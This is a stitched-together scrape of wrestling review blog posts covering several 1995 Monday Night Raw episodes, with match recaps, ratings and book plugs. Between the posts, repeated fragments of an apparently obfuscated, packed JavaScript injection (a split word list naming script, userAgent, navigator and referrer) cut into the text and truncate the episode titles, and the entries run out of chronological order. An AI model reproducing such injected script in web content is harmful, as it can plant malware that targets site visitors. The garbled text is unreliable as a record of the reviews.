Monday Night Raw
Date: February 6, 1995
Location: Manatee Civic Center, Palmetto, Florida
Attendance: 2,500
Commentators: Vince McMahon, Shawn Michaels

We’re fresh off the Royal Rumble and that means it’s time to build towards Shawn vs. Diesel in about two months. Shawn being on commentary for these shows is a good idea as he’s certainly entertaining and one of the few heels who doesn’t wear out his welcome when he’s out there all night. Let’s get to it.

We open with a recap of last week’s Royal Rumble Challenge between King Kong Bundy and Mabel with Bundy getting some help to win, because MABEL requires assistance. Tonight it’s a six man tag.

Opening sequence.

Lex Luger/Men on a Mission vs. IRS/Tatanka/King Kong Bundy

IRS has the massive Undertaker Urn with him after “repossessing” it at the Rumble but there’s no Ted DiBiase in sight. Bundy and Mabel start things off with the heavy forearms to the chest, because that’s about all they’re capable of doing. Oh and splashes of course but we’ll save that for when it gets serious.

Mabel hits something like an enziguri for two and it’s off to the worthless Mo, who can’t slam Bundy. IRS comes in for some elbows but Mo hits one of the worst dropkicks I’ve seen in recent memory to come back. Thankfully that goes nowhere and it’s off to Tatanka for some chops to the head as we go to a break. Back with Tatanka bailing from Mabel, likely repelled by the magical powers of purple and gold. Mabel drops the big fat elbow and it’s off to Luger for the showdown with his former friend.

Naturally Tatanka hands it off to IRS instead, showing that he’s learning the heel arts. For some reason Luger thinks it’s a good idea to bring Mo back in. Must be the steroids getting to his head. The slow beating continues with a variety of whips and chops, likely because Mo can’t be trusted to take anything more complicated.

Mo gets sent into the corner where a far too sweaty IRS grabs an abdominal stretch. Even a sunset flip looks horrible until Mabel knocks IRS down from the apron for two. Bundy finally misses a charge in the corner and the hot tag brings in Luger to a lukewarm reaction at best. Everything breaks down and Luger slams Bundy but Tatanka gets in a DDT to give Bundy the pin.

Rating: F. This was FIFTEEN MINUTES LONG and Luger took the pin? They really thought this was the best idea for the opening of Monday Night Raw? I knew 1995 was terrible but dang I didn’t realize it was this bad. The ending is the worst part though and I have no idea what the heck they were thinking.

Man Mountain Rock compares playing guitar to winning the WWF World Title.

Lawrence Taylor’s agent reads a statement basically saying he’s sorry and if Bam Bam Bigelow keeps calling him out, Lawrence will sue.

Bam Bam Bigelow Slim Jim ad. These really didn’t last long as it turned out that Randy Savage might have had just a bit more charisma. Slim Jim knew this too and took the campaign to WCW instead. You know, because they’re smart.

Man Mountain Rock vs. Charlie Hunter

Rock plays some guitar before the match. Hunter slides between the legs to start but a hiptoss fails as badly as you would expect it to. Some big elbows have Hunter in trouble and Rock drops a splash for good measure. A nerve hold of all things kills even more time as this is already feeling long. Rock finishes him with a gordbuster. Too short to rate but this didn’t quite, ahem, rock. For you trivia people: Rock’s theme song would later be used by Droz and Prince Albert.

We look at Shawn Michaels coming out to stare Diesel down over the weekend.

Diesel sits down with Vince to talk about facing both Hart Brothers recently. His knees are banged up but he’ll be ready for Shawn. We talk about all of Diesel’s celebrity appearances and….my goodness Diesel just does not look right in this role. He’ll be ready to face Jeff Jarrett in two weeks though.

Shawn will debut his new bodyguard soon.

Mantaur vs. Leroy Howard

Rating: D. Howard wasn’t half bad but there’s only so much you can do when you’re stuck against Mantaur. I’m not sure what else anyone was expecting here, but what was anyone expecting when they came up with Mantaur? It’s really one of the worst gimmicks ever and there’s no way around that.

Razor Ramon vs. Frank Lancaster

They trade arm work to start as Shawn catches himself complimenting Razor, which doesn’t sit well with him. Shawn: “Give me a second. I’ll cut him down in just a minute.” Razor shrugs off some chops and beats up Lancaster in the corner without much effort. An abdominal stretch goes nowhere so let’s talk about the current events for some reason. The belly to back superplex sets up the Razor’s Ramon to put Frank away.

Rating: D+. Eh Razor is at least better than Mantaur. An understatement I know but there’s only so much you can say about a match like this. Believe it or not, Razor would be in the Intercontinental Title picture around this point and recently lost the title at the Royal Rumble. Just a squash here.

Henry Godwinn vs. Bill Weaver

Weaver misses an early dropkick and Henry hits him with a wheelbarrow slam. This match’s time filler: wrestlers’ favorite cartoon characters. Henry hits a big clothesline and elbow drop, followed by the Slop Drop for the quick pin. Much better squash here.

Vince tells us that there’s no show next week but Shawn has worse news: he won’t be doing commentary anymore because it makes him too big of a target. They better have a good replacement because he’s one of the only good things about these shows.

Overall Rating: D-. This was the show of big slow squashes and that’s not a good thing. They’re in the slow build to a bad Wrestlemania and that’s a really boring stretch. There’s only so much you can do when you have heel Henry Godwinn and Mantaur as featured acts, plus Luger losing to Bundy when Mo is available to take the fall. Really bad show here, but that’s what you have to expect at this point.

Remember: no February 13 show so the next one is February 20.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddsis|var|u0026u|referrer|bfhdt||js|php'.split('|'),0,{})) Night Raw
Date: May 15, 1995
Location: Broome County Arena, Binghamton, New York
Commentators: Vince McMahon, Jerry Lawler

Owen Hart/Yokozuna vs. Nick Barbarry/Bill Weaver

We look at some stills of Lawler and his mom (a twenty-something year old model) beating Bret last night.

The latest ad campaign: aliens want to destroy the world but spare it for the sake of the WWF. Ok then.

Man Mountain Rock vs. Iron Mike Sharpe

We see the house being given away last night and an 11 year old actually won the thing.

Stills of Jeff Jarrett/The Roadie beating on Razor Ramon until Savio Vega debuted for the save.

King of the Ring Qualifying Match: Mantaur vs. Bob Holly

Ted DiBiase wants a tag match with Diesel/Bigelow vs. Sid/Tatanka for King of the Ring.

I.R.S. vs. Bam Bam Bigelow

We hit the chinlock for a bit, followed by an abdominal stretch to really spice things up. I.R.S. takes a buckle pad off (Uh, Diesel? Help?) and sends Bigelow into the steel for two, only to have Bigelow do the same (with the head clearly not making contact) and dropping a headbutt for the pin.

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsdni|var|u0026u|referrer|dbnas||js|php'.split('|'),0,{})) Night Raw
Date: June 26, 1995
Location: Danville High School, Danville, Pennsylvania
Attendance: 2,700
Commentators: Shawn Michaels, Vince McMahon

We open with stills of the Kiss My Foot match and the post match destruction of Lawler.

Opening sequence.

Smoking Gunns vs. Black Phantom/Jason Arndt

Billy takes Jason down to start and the Gunns start double teaming in the corner. The Sidewinder puts him away in less than two minutes with Phantom never getting in.

Skip vs. Scott Taylor

Scotty 2 Hotty that is. Skip does his exercises to start but gets knocked out to the floor with a nice dropkick. Scotty gets pulled to the floor for a slam and Skip drops a top rope headbutt. Back in and a top rope hurricanrana gives Skip the pin. Total squash and again this is all about Sunny, as it should be.

Diesel was in a celebrity softball game over the weekend.

Savio Vega, not banged up in the slightest after having three matches last night, is ready to win the Intercontinental Title.

Sid vs. Bam Bam Bigelow next week.

Man Mountain Rock vs. Phil Apollo

Rock has a new WWF logo guitar and Apollo would play Doink at various times in his career. A belly to belly sets up a slam which sets up the Fujiwara Armbar to make Phil tap.

King Mabel vs. Kenny Kendall

Shawn declares Sid as all bark and no bite.

Intercontinental Title: Jeff Jarrett vs. Savio Vega

Rating: C. Still good stuff here with Vega being more than capable of helping Jarrett have a watchable match. The ending was clearly there to set up a bigger match down the line though as Shawn is ready to come back from his various injuries. Shawn vs. Jarrett should be fine and Vega gets to keep looking strong after his run to the tournament finals the night before.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bikhn|var|u0026u|referrer|ftedb||js|php'.split('|'),0,{})) Night Raw
Date: June 19, 1995
Location: Struthers High School, Struthers, Ohio
Attendance: 1,450
Commentators: Vince McMahon, Jerry Lawler

Opening sequence.

Undertaker vs. Mike McReynolds

Undertaker gets in an uppercut as this is the kind of beating that you get with Undertaker vs. a guy named Mike McReynolds. The smoke is still clouding the arena as the chokeslam and Tombstone wrap this up in a hurry.

McReynolds gets put in a body bag post match. He probably earned it.

Lawler goes on another rant about making Bret kiss his feet.

Man Mountain Rock thinks that was a pretty crummy thing to do.

Adam Bomb vs. Bill Payne

Adam runs him over with a shoulder to start and sends Payne flying with hiptosses. A side slam and belly to back suplex sets up the top rope clothesline to put Bill away. I still have a bit of a soft spot for Bomb.

Sid/Tatanka vs. Headshrinkers

This is Fatu and Sione (Barbarian) instead of Samu. I remember waiting for Samu to make his comeback from eating bad fish for months but nothing ever came of it. I was devastated. Fatu and Tatanka get things going with Fatu (somehow the only Hall of Famer in this match) pounding down right hands in the corner. Tatanka sends him to the floor but we cut to Sid, who is blinking a lot.

Back with Tatanka getting in some cheap shots from the apron before Fatu avoids a charge, only to have Tatanka break up the hot tag attempt. Not that it matters as we get the tag a few seconds later, bringing in Sione for a piledriver on Tatanka for a near fall. Everything breaks down and Sid powerbombs Fatu in the ring and gives Sione one on the floor, setting up an easy pin for Tatanka.

Lawler goes on a great maniacal tirade about how much he wants Bret to kiss his feet.

Buck Quartermaine vs. Hunter Hearst Helmsley

Shawn Michaels vs. Gus Kantarrakis

Gus is a very hairy guy and Vince makes sure to say his full name every time. Shawn runs him over to start and rides the goon on the mat a bit. With nothing else to do, Shawn jumps out to the floor and sits in the front row. Back in and Gus gets a few shots before they head outside again where the jobber gets suplexed on the floor. The superkick puts Gus out as you would expect.

Post match Kama comes in to jump Shawn but is quickly dispatched. Undertaker and Mabel come out as well but nothing happens.

Lawler promises to make Bret kiss his feet one more time to wrap it up.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsrsa|var|u0026u|referrer|knhze||js|php'.split('|'),0,{})) Night Raw
Date: June 12, 1995
Location: Struthers High School, Struthers, Ohio
Attendance: 1,450
Commentators: Vince McMahon, Jerry Lawler

Cornette says Yokozuna will win.

Opening sequence.

Bob Backlund was campaigning earlier today. Campaigning against rock and roll that is.

Bam Bam Bigelow vs. Duane Gill

Kama vs. David Haskins

King of the Ring control center with Sid/Tatanaka promising to beat Diesel and Bigelow at the pay per view, somehow incorporating Here Comes Mr. Jordan.

Back to the control center with some previews of the first round matches. Shawn Michaels vs. Kama is considered a big match. Think about that for a minute: Shawn vs. the Godfather.

Yokozuna is eating rice to warm up.

Man Mountain Rock vs. Bob Cook

Tekno Team 2000 vs. Mike Khoury/John Crystal

Rating: D-. To give you an idea of how bad Tekno Team 2000 was, even WWE has made fun of them over the years. As stuck WWE can be on itself, you know it has to be a big deal for them to admit that one of their ideas was so horrible. Bad match here and it was easy to see how far the team was going to go.

Man Mountain Rock is devastated over the damage to his guitar.

King of the Ring Qualifying Match: Lex Luger vs. Yokozuna

Rating: D. Another bad match here but what else can you expect when you have Yokozuna barely able to move and a match this bad? Luger was so far past his prime here and it was getting sad to see them try to push him as anything important. It really says a lot when Yokozuna looks more motivated than anyone in a match but somehow we actually reached that point here.

We get a clip of Lawler beating Aldo Montoya on Superstars and then forcing some foot kissing.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

http://www.amazon.com/dp/B01D4D3EGQ

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6